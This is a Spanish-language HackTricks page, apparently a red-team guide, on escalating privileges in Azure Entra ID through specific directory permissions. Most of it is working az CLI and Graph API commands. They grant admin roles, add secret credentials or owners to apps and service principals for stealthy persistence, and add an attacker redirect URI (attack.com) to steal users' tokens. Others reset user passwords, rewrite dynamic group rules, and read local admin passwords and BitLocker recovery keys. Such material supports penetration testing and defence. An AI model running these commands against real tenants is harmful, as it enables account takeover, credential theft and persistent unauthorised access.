Az - EntraID Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Note

Tenga en cuenta que no todos los permisos granulares de los roles integrados en Entra ID son elegibles para ser utilizados en roles personalizados.

Roles

Role: Privileged Role Administrator

Este rol contiene los permisos granulares necesarios para poder asignar roles a los principales y para otorgar más permisos a los roles. Ambas acciones podrían ser abusadas para escalar privilegios.

  • Asignar rol a un usuario:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Agregar más permisos a un rol:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Aplicaciones

microsoft.directory/applications/credentials/update

Esto permite a un atacante agregar credenciales (contraseñas o certificados) a aplicaciones existentes. Si la aplicación tiene permisos privilegiados, el atacante puede autenticarse como esa aplicación y obtener esos privilegios.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Esto permite las mismas acciones que applications/credentials/update, pero limitado a aplicaciones de un solo directorio.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Al agregarse a sí mismos como propietarios, un atacante puede manipular la aplicación, incluidas las credenciales y los permisos.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Un atacante puede agregar una URI de redirección a las aplicaciones que están siendo utilizadas por los usuarios del inquilino y luego compartir con ellos URLs de inicio de sesión que utilizan la nueva URL de redirección para robar sus tokens. Tenga en cuenta que si el usuario ya estaba conectado a la aplicación, la autenticación será automática sin que el usuario necesite aceptar nada.

Tenga en cuenta que también es posible cambiar los permisos que la aplicación solicita para obtener más permisos, pero en este caso el usuario necesitará aceptar nuevamente el aviso que solicita todos los permisos.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

Esto permite a un atacante agregar credenciales a los service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.

az ad sp credential reset --id <sp-id> --append

Caution

La nueva contraseña generada no aparecerá en la consola web, por lo que esto podría ser una forma sigilosa de mantener la persistencia sobre un servicio principal.
Desde la API se pueden encontrar con: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearlo. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permita ejecutar:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Esto permite a un atacante agregar credenciales a los principales de servicio existentes. Si el principal de servicio tiene privilegios elevados, el atacante puede asumir esos privilegios.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Similar a las aplicaciones, este permiso permite agregar más propietarios a un principal de servicio. Ser propietario de un principal de servicio permite controlar sus credenciales y permisos.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Después de agregar un nuevo propietario, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, incluso si es el método que necesitas usar para eliminar al propietario. Así que no puedes eliminar propietarios hoy en día.

microsoft.directory/servicePrincipals/disable y enable

Estos permisos permiten deshabilitar y habilitar principales de servicio. Un atacante podría usar este permiso para habilitar un principal de servicio al que podría acceder de alguna manera para escalar privilegios.

Ten en cuenta que para esta técnica, el atacante necesitará más permisos para hacerse cargo del principal de servicio habilitado.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Estos permisos permiten crear y obtener credenciales para el inicio de sesión único, lo que podría permitir el acceso a aplicaciones de terceros.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Escalación de Privilegios de Aplicaciones

Como se explica en esta publicación, era muy común encontrar aplicaciones predeterminadas que tienen permisos de API de tipo Application asignados a ellas. Un Permiso de API (como se llama en la consola de Entra ID) de tipo Application significa que la aplicación puede acceder a la API sin un contexto de usuario (sin que un usuario inicie sesión en la aplicación), y sin necesidad de roles de Entra ID que lo permitan. Por lo tanto, es muy común encontrar aplicaciones de alto privilegio en cada inquilino de Entra ID.

Entonces, si un atacante tiene algún permiso/rol que permite actualizar las credenciales (secreto o certificado) de la aplicación, el atacante puede generar una nueva credencial y luego usarla para autenticarse como la aplicación, obteniendo todos los permisos que tiene la aplicación.

Tenga en cuenta que el blog mencionado comparte algunos permisos de API de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este informe, Microsoft solucionó este problema y ahora no es posible iniciar sesión como aplicaciones de Microsoft. Sin embargo, todavía es posible encontrar aplicaciones personalizadas con altos privilegios que podrían ser abusadas.


Grupos

microsoft.directory/groups/allProperties/update

Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a la escalación de privilegios.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye los grupos asignables de roles de Entra ID.

microsoft.directory/groups/owners/update

Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente puede escalar privilegios al grupo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye los grupos asignables de roles de Entra ID.

microsoft.directory/groups/members/update

Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Nota: Este permiso excluye los grupos asignables por rol de Entra ID.

Privesc de Grupos Dinámicos

Puede ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de grupos dinámicos. Para más información, consulta:

Az - Dynamic Groups Privesc

Usuarios

microsoft.directory/users/password/update

Este permiso permite restablecer la contraseña a usuarios no administradores, lo que permite a un posible atacante escalar privilegios a otros usuarios. Este permiso no se puede asignar a roles personalizados.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios basados en los valores de las propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Políticas de acceso condicional y bypass de MFA

Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, consulta:

Az - Conditional Access Policies & MFA Bypass

Dispositivos

microsoft.directory/devices/registeredOwners/update

Este permiso permite a los atacantes asignarse a sí mismos como propietarios de dispositivos para obtener control o acceso a configuraciones y datos específicos del dispositivo.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la contraseña.

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Otras permisos interesantes (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks